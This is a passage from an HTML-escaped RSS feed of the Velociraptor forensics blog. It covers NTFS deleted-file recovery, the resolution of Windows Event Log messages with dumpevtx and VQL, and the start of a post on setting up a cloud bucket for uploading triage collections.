attributes (long and short names) and the $DATA attribute.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__OaIiPJRPjqFi75nqQ6pOZw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since the file is deleted, the MFT Entry is not allocated and a new file may be written in this MFT entry at any time. Therefore the contents of the $DATA stream may be completely unrelated to the file we are looking for. We can use the content of the $FILE_NAME and $STANDARD_INFORMATION to double check the validity of the file and confirm it is the file we expect.&lt;/p&gt;&#xA;&lt;p&gt;To view the file we simple prepare a download as before and use an archiving tool to open the ZIP file. We then extract the $DATA stream and confirm it is the file we expected.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__znDhPzuQ3Uy0hKkR0xPc7Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/../../img/1__Z__8h6SVkmkKVc6xSJlJtuA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h4&gt;&#xA;&lt;p&gt;Velociraptor provides access to low level NTFS analysis techniques within VQL. This means we can build VQL artifacts to automate some of the low level analysis — such as the recovery of deleted files, and scanning the MFT for remnants of old deleted files.&lt;/p&gt;&#xA;&lt;p&gt;There are two pieces of information we can gather from such low level analysis:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The deleted file metadata is found in the unallocated MFT entry and includes the file’s creation and modification timestamps.&lt;/li&gt;&#xA;&lt;li&gt;The data of the file may still exist on disk.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In practice, MFT entries are reused pretty quickly and so there is a high chance that the old deleted entry will not remain. Additionally $DATA blocks may also be reused so it is likely that even if we identify a deleted file we may not be able to recover its data using this technique.&lt;/p&gt;&#xA;&lt;p&gt;So in practice, we use the &lt;strong&gt;Windows.NTFS.MFT&lt;/strong&gt; artifact to collect metadata about deleted files, even though we are usually not able to recover their data.&lt;/p&gt;&#xA;&lt;p&gt;If the system has an SSD rather than a spinning disk we are unlikely to recover any deleted file’s data. This is because SSDs aggressively reclaim unused blocks and wipe the block so it can be remapped in the wear leveling pool [see &lt;a href=&#34;https://blog.elcomsoft.com/2019/01/life-after-trim-using-factory-access-mode-for-imaging-ssd-drives/&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;].&lt;/p&gt;&#xA;&lt;p&gt;Do you commonly use this technique in your investigations? Share your thoughts below.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Windows Event Logs</title>
      <link>https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/</link>
      <pubDate>Tue, 12 Nov 2019 10:40:24 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/</guid>
      <description>&lt;h4 id=&#34;by-mike-cohen&#34;&gt;By Mike Cohen&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/../../img/1____Pq____KfTKLBbQffNGN__aHg.jpeg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;One of the most critical sources of data when responding to an incident on windows systems is the event logs. Windows event logs record security significant events.&lt;/p&gt;&#xA;&lt;p&gt;However, unlike more traditional Unix syslogs, the Windows Event Log system is more complex and there are a number of potential problems that an investigator can run into.&lt;/p&gt;&#xA;&lt;p&gt;In this post we explore the windows event log system from the point of view of the investigator. We then see how tools such as Velociraptor can be used to work around its limitations.&lt;/p&gt;&#xA;&lt;h4 id=&#34;responding-to-anincident&#34;&gt;Responding to an incident&lt;/h4&gt;&#xA;&lt;p&gt;Consider an incident occurred on one of your systems. You would like to investigate it and so collect all the event log files from &lt;strong&gt;C:\Windows\System32\WinEVT\Logs\*.evtx&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The logs are stored in binary format so you will need to post process the files. Luckily there are a number of tools out there that will do that for you. Here is a typical output from the &lt;a href=&#34;https://github.com/Velocidex/evtx&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;dumpevtx&lt;/code&gt;&lt;/a&gt; tool for a particular event from the Security.evtx log file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;C:&amp;gt; dumpevtx.exe parse c:\Windows\System32\winevt\Logs\Security.evtx&#xA;{&#xA;  &amp;quot;System&amp;quot;: {&#xA;   &amp;quot;Provider&amp;quot;: {&#xA;    &amp;quot;Name&amp;quot;: &amp;quot;Microsoft-Windows-Security-Auditing&amp;quot;,&#xA;    &amp;quot;Guid&amp;quot;: &amp;quot;54849625-5478-4994-A5BA-3E3B0328C30D&amp;quot;&#xA;   },&#xA;   &amp;quot;EventID&amp;quot;: {&#xA;    &amp;quot;Value&amp;quot;: 4672&#xA;   },&#xA;   &amp;quot;Version&amp;quot;: 0,&#xA;   &amp;quot;Level&amp;quot;: 0,&#xA;   &amp;quot;Task&amp;quot;: 12548,&#xA;   &amp;quot;Opcode&amp;quot;: 0,&#xA;   &amp;quot;Keywords&amp;quot;: 9232379236109516800,&#xA;   &amp;quot;TimeCreated&amp;quot;: {&#xA;    &amp;quot;SystemTime&amp;quot;: 1561729832.644008&#xA;   },&#xA;   &amp;quot;EventRecordID&amp;quot;: 35,&#xA;   &amp;quot;Correlation&amp;quot;: {&#xA;    &amp;quot;ActivityID&amp;quot;: &amp;quot;6EF16E1E-2DB8-0001-DA6F-F16EB82DD501&amp;quot;&#xA;   },&#xA;   &amp;quot;Execution&amp;quot;: {&#xA;    &amp;quot;ProcessID&amp;quot;: 612,&#xA;    &amp;quot;ThreadID&amp;quot;: 656&#xA;   },&#xA;   &amp;quot;Channel&amp;quot;: &amp;quot;Security&amp;quot;,&#xA;   &amp;quot;Computer&amp;quot;: &amp;quot;DESKTOP-6CBJ8MJ&amp;quot;,&#xA;   &amp;quot;Security&amp;quot;: {}&#xA;  },&#xA;  &amp;quot;EventData&amp;quot;: {&#xA;   &amp;quot;SubjectUserSid&amp;quot;: &amp;quot;S-1-5-90-0-1&amp;quot;,&#xA;   &amp;quot;SubjectUserName&amp;quot;: &amp;quot;DWM-1&amp;quot;,&#xA;   &amp;quot;SubjectDomainName&amp;quot;: &amp;quot;Window Manager&amp;quot;,&#xA;   &amp;quot;SubjectLogonId&amp;quot;: 67602,&#xA;   &amp;quot;PrivilegeList&amp;quot;: &amp;quot;SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeAuditPrivilege&amp;quot;&#xA;  }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This event looks interesting but it is not quite clear what it is really talking about. We see some potentially useful items like &lt;strong&gt;SubjectUserSid&lt;/strong&gt; and &lt;strong&gt;PrivilegeList&lt;/strong&gt; but we are missing some critical context around this message.&lt;/p&gt;&#xA;&lt;p&gt;Lets look at the same event with the windows Event Viewer GUI:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/../../img/1__T4Q8HxIiHlGTJ61EEXvI9Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This is much better! We now know the message indicates the user was assigned some special privileges.&lt;/p&gt;&#xA;&lt;p&gt;Where does this message come from and why is it not shown by typical EVTX parsers?&lt;/p&gt;&#xA;&lt;p&gt;It turns out that the message of the event is not actually stored in the EVTX file at all — it is actually stored in a DLL and it is bound to the event in the log via some complicated algorithm.&lt;/p&gt;&#xA;&lt;h4 id=&#34;event-messages&#34;&gt;Event Messages&lt;/h4&gt;&#xA;&lt;p&gt;Windows event logs do not store the full event message. Instead an &lt;strong&gt;Event Provider&lt;/strong&gt; registers a message DLL that contains the full message. The event itself simply stores the index of the message in the Message Table as the Event ID. Note that event IDs are just a number into an event table and are commonly reused by different providers. It is the unique combination of channel, provider and Event ID that identifies the message (so for example searching for Event Id 1000 yields many different unrelated messages because many providers reuse that event ID).&lt;/p&gt;&#xA;&lt;p&gt;The figure below illustrates how the Windows Event Viewer is able to print the proper Event Message:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/../../img/1__PM4my0gv8exjy__F5KRhdBg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;How the Windows Event Viewer displays event log messages&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    How the Windows Event Viewer displays event log messages&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;How the Windows Event Viewer displays event log messages&lt;/p&gt;&#xA;&lt;p&gt;When a user selects an event in the Event Viewer, the application reads the &lt;strong&gt;Provider&lt;/strong&gt;, &lt;strong&gt;EventID&lt;/strong&gt; and &lt;strong&gt;EventData&lt;/strong&gt; fields from the event itself — in the above example, the Provider was &lt;strong&gt;Microsoft-Windows-Security-Auditing&lt;/strong&gt;, EventID was &lt;strong&gt;4672&lt;/strong&gt; and the EventData has items such as &lt;strong&gt;SubjectUserSid&lt;/strong&gt; etc.&lt;/p&gt;&#xA;&lt;p&gt;Next the event viewer consults the registry at the key &lt;strong&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security\Microsoft-Windows-Security-Auditing&lt;/strong&gt; and reads the value &lt;strong&gt;EventMessageFile&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That value is the location of a dll which contains the messages for&#xA;this provider. On my system, the DLL is located at&#xA;&lt;code&gt;%SystemRoot%\\system32\\adtschema.dll&lt;/code&gt; (Note that many DLLs use&#xA;localizations and so the dll could be located in MUI files).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/../../img/1__SLH4iiByHYIz8HyJyOxAEw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The DLL has a resource section with a MESSAGE_TABLE type. The event viewer then uses this to extract the message which looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;Special privileges assigned to new logon.%n%nSubject:%n%tSecurity ID:%t%t%1%n%tAccount Name:%t%t%2%n%tAccount Domain:%t%t%3%n%tLogon ID:%t%t%4%n%nPrivileges:%t%t%5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The event viewer then interpolates the EventData items into the message by their position — for example %1 is replaced with &lt;strong&gt;SubjectUserSid&lt;/strong&gt; etc. Additionally %t is a tab and %n is a new line.&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-could-gowrong&#34;&gt;What could go wrong?&lt;/h4&gt;&#xA;&lt;p&gt;The previous section examined how event logs are actually stored on the system. In practice there are a number of pitfalls with this scheme:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If an EVTX file is taken from one system to another, the relevant DLL may not be present. This is more common with bespoke software that is not commonly used. In this case the investigator has no idea what the message the event is trying to convey.&lt;/li&gt;&#xA;&lt;li&gt;If software is uninstalled from the system, the message DLL may be removed. This makes it hard to view events in the event log from the time it was installed (in a sense information is wiped from the event log).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In both of these cases, the investigator will need to figure out the correct event message independently. Luckily in the age of the internet there are many web sites that catalog some of the common event ids and what they mean:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/../../img/1__GmXWvkFj2vFkPEqa3jSFLQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;But it is simply not practical to search every event id. For less commonly used providers the event ids may not be indexed on the web at all. In this case the investigator is left with no idea what a specific event entry means and might miss some critical evidence&lt;/p&gt;&#xA;&lt;h4 id=&#34;velociraptors-parse_evtx-vqlplugin&#34;&gt;Velociraptor’s parse_evtx() VQL plugin&lt;/h4&gt;&#xA;&lt;p&gt;In the latest Velociraptor release (&lt;a href=&#34;https://github.com/Velocidex/velociraptor/releases&#34; target=&#34;_blank&#34; &gt;0.3.6&lt;/a&gt;), the &lt;strong&gt;parse_evtx()&lt;/strong&gt; plugin is now including the event messages directly in the VQL output. This automatically enriches the event log data collected by the Velociraptor host visibility tool.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/../../img/1__uY97EUuaI__fI3eUBQFToLg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Velociraptor can interpolate and attach the event message to every log message it relays&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Velociraptor can interpolate and attach the event message to every log message it relays&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;Velociraptor can interpolate and attach the event message to every log message it relays&lt;/p&gt;&#xA;&lt;p&gt;In the above we see the result of the simple VQL query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT * FROM parse_evtx(filename=&#39;c:/Windows/System32/Winevt/logs/Security.evtx&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can see an additional field now, called &lt;strong&gt;Message&lt;/strong&gt; containing the event message with the Event Data interpolated into it. This provides a lot of context around what the event is supposed to do.&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-about-existing-evtxfiles&#34;&gt;What about existing EVTX files?&lt;/h4&gt;&#xA;&lt;p&gt;In the last section we saw how Velociraptor can enrich event logs as it is forwarding them to the server but what if we have just the evtx files — possibly we just acquired the files using bulk upload artifacts such as the &lt;strong&gt;Windows.KapeFiles.Targets&lt;/strong&gt; artifact?&lt;/p&gt;&#xA;&lt;p&gt;In that case our analysis machine may not actually have the correct message dlls installed and Velociraptor may fail to retrieve the event messages.&lt;/p&gt;&#xA;&lt;p&gt;We need a way to maintain a library of event id’s for different providers and the messages they represent. This way we can instantly look up the correct message on demand — without needing to have DLLs installed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.velocidex.com/&#34; target=&#34;_blank&#34; &gt;Velocidex&lt;/a&gt;, the company behind Velociraptor is an innovative software company crafting many free and open source digital forensics tools. In fact Velociraptor’s EVTX parsing is implemented by the &lt;a href=&#34;https://github.com/Velocidex/evtx&#34; target=&#34;_blank&#34; &gt;Velocidex/evtx&lt;/a&gt; project on GitHub. You should check it out!&lt;/p&gt;&#xA;&lt;p&gt;The project releases a stand along command line tool for parsing and examining windows event log format. In this post, I would like to demonstrate the latest “extract” feature:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/../../img/1__ABF6klKd0xQ82TvhOEq__hw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;extract&lt;/strong&gt; command walks all providers in the registry, gathers their message DLLs and parses the message table resource for each. Then, all the messages are stored in a sqlite database. Sqlite being the de facto standard for portable databases can be easily consumed by other tools written in many languages. The total size of the database is modest (I have extracted all event log messages on Windows 2019 server to about 23MB SQLite file).&lt;/p&gt;&#xA;&lt;p&gt;Now we can easily use the database to resolve our provider and event id to a message:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/../../img/1__SRuWlPV0wk754__jlxI2tMw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively we can simply use SQLite directly to query the database&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sqlite3 mydb.sqlite&#xA;SQLite version 3.24.0 2018-06-04 19:24:41&#xA;Enter &amp;quot;.help&amp;quot; for usage hints.&#xA;sqlite&amp;gt; **SELECT message FROM providers join messages on providers.id = messages.provider\_id where providers.name = &#39;Microsoft-Windows-Security-Auditing&#39; and messages.event\_id = 4672;**&#xA;_Special privileges assigned to new logon.%n%nSubject:%n%tSecurity ID:%t%t%1%n%tAccount Name:%t%t%2%n%tAccount Domain:%t%t%3%n%tLogon ID:%t%t%4%n%nPrivileges:%t%t%5_&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;enriching-old-event-logfiles&#34;&gt;Enriching old event log files&lt;/h4&gt;&#xA;&lt;p&gt;We have shown how &lt;code&gt;dumpevtx&lt;/code&gt; can use our sqlite database to retrieve&#xA;the messages for each event id individually but this leaves us to&#xA;interpolate the full data by hand — no fun indeed!&lt;/p&gt;&#xA;&lt;p&gt;You can also use &lt;code&gt;dumpevtx&lt;/code&gt; to export the events into JSON, and&#xA;automatically resolve event IDs with the sqlite database too by&#xA;providing the database with the &lt;code&gt;--messagedb&lt;/code&gt; flag.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;F:\\&amp;gt;dumpevtx.exe parse --messagedb mydb.sqlite c:\\Windows\\System32\\winevt\\Logs\\Security.evtx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/../../img/1__Uk794PvLspR__m5WX8ENDZw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Parsing the EVTX file with the assistance of the event id database. The message interpolates the Event Data into it.&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Parsing the EVTX file with the assistance of the event id database. The message interpolates the Event Data into it.&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;Parsing the EVTX file with the assistance of the event id database. The message interpolates the Event Data into it.&lt;/p&gt;&#xA;&lt;h4 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h4&gt;&#xA;&lt;p&gt;The Windows Event Log system is fairly complex — it is not enough to just copy out the *.evtx files because the information content of the log is spread throughout the filesystem in DLLs and registry keys. For many event types there is enough context in the EventData or UserData fields of the event log but in many cases, without the actual message corresponding to the event ID we lose critical meaning.&lt;/p&gt;&#xA;&lt;p&gt;It is essential therefore to include the original message for each&#xA;event log. We have shown how Velociraptor is able to include this&#xA;critical information automatically. We also present the &lt;code&gt;dumpevtx&lt;/code&gt;&#xA;project which allows collecting messages in a database so events can&#xA;be matched up quickly and easily with their correct messages without&#xA;requiring the original program that generated the message to be&#xA;installed on the analyst system.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Triage with Velociraptor — Pt 3</title>
      <link>https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/</link>
      <pubDate>Tue, 08 Oct 2019 09:03:34 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/</guid>
      <description>&lt;h4 id=&#34;by-mike-cohen&#34;&gt;By Mike Cohen&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/../../img/1__AN0KYVpqc581I2OYcKQ0zg.jpeg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This is the final part of this three part series of articles&#xA;describing how to use Velociraptor to collect files from an&#xA;endpoint. Our &lt;a href=&#34;https://medium.com/@mike_89870/triage-with-velociraptor-pt-1-253f57ce96c0&#34; target=&#34;_blank&#34; &gt;first&#xA;part&lt;/a&gt;&#xA;shows how we can use the Velociraptor agent in a typical client/server&#xA;setting to collect artifacts from one or many endpoints at the push of&#xA;a button, within seconds.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://medium.com/@mike_89870/triage-with-velociraptor-pt-2-d0f79066ca0e&#34; target=&#34;_blank&#34; &gt;Part&#xA;two&lt;/a&gt;&#xA;examined what to do if Velociraptor is not already installed as an&#xA;agent (or can not be remotely installed). In this case we used an&#xA;accomplice user with administrator privileges (or group policy) on the&#xA;endpoint to run the collector interactively — producing a zip file&#xA;with the triage material within it. We left the task of transporting&#xA;the file back to the investigator up to the user though. Ideally we&#xA;would like to have an automated way in which the files can be&#xA;transported back to us.&lt;/p&gt;&#xA;&lt;p&gt;This article continues this theme: we devise a way for the collected&#xA;file to be uploaded to a cloud storage bucket. We will write a new&#xA;Velociraptor artifact with this functionality, leveraging the&#xA;previously described collection artifact. It is a good example of how&#xA;we may customize artifact collection in a flexible way adding&#xA;arbitrary functionality to Velociraptor as we go along.&lt;/p&gt;&#xA;&lt;h4 id=&#34;setting-up-google-cloud-bucket-for-uploading&#34;&gt;Setting up Google Cloud Bucket for uploading.&lt;/h4&gt;&#xA;&lt;p&gt;Before we can upload files to a bucket we need to have a project in&#xA;place. For this example I created a new project called&#xA;“velociraptor-demo”:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/../../img/1__1DXiwQ4__gqzaYMZKSMxAfg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Create a new project&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Create a new project&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;Create a new project&lt;/p&gt;&#xA;&lt;p&gt;Our plan is to distribute to our accomplices the packed binary as&#xA;before, but this time we want Velociraptor to automatically upload&#xA;results for us into our bucket.&lt;/p&gt;&#xA;&lt;p&gt;In order to do this we need a service account with credentials&#xA;allowing it to upload to our bucket. Go to &lt;strong&gt;IAM &amp;amp; Admin / Service&#xA;Accounts / Create Service Account:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/../../img/1__ZG9riz0ViCT8PgILXHuU7Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since the service account will be able to upload by itself (i.e. the&#xA;user does not authenticate on its behalf), we need to identify it with&#xA;a JSON key. The key allows Velociraptor to act as the service account&#xA;on this cloud project. Clicking the Create button will download a JSON&#xA;file to your system with the private key in it.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/../../img/1__rsKWeCDPrO9AffAuG2k__rA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/../../img/1__qGr13ir9qftvzxJUoM5D6A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Note the service account’s email address. Currently this account has&#xA;no permissions at all — but we will allow it to write objects into our&#xA;upload bucket later.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/../../img/1__EhghHAfmjbZFU2vhiPvhYA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  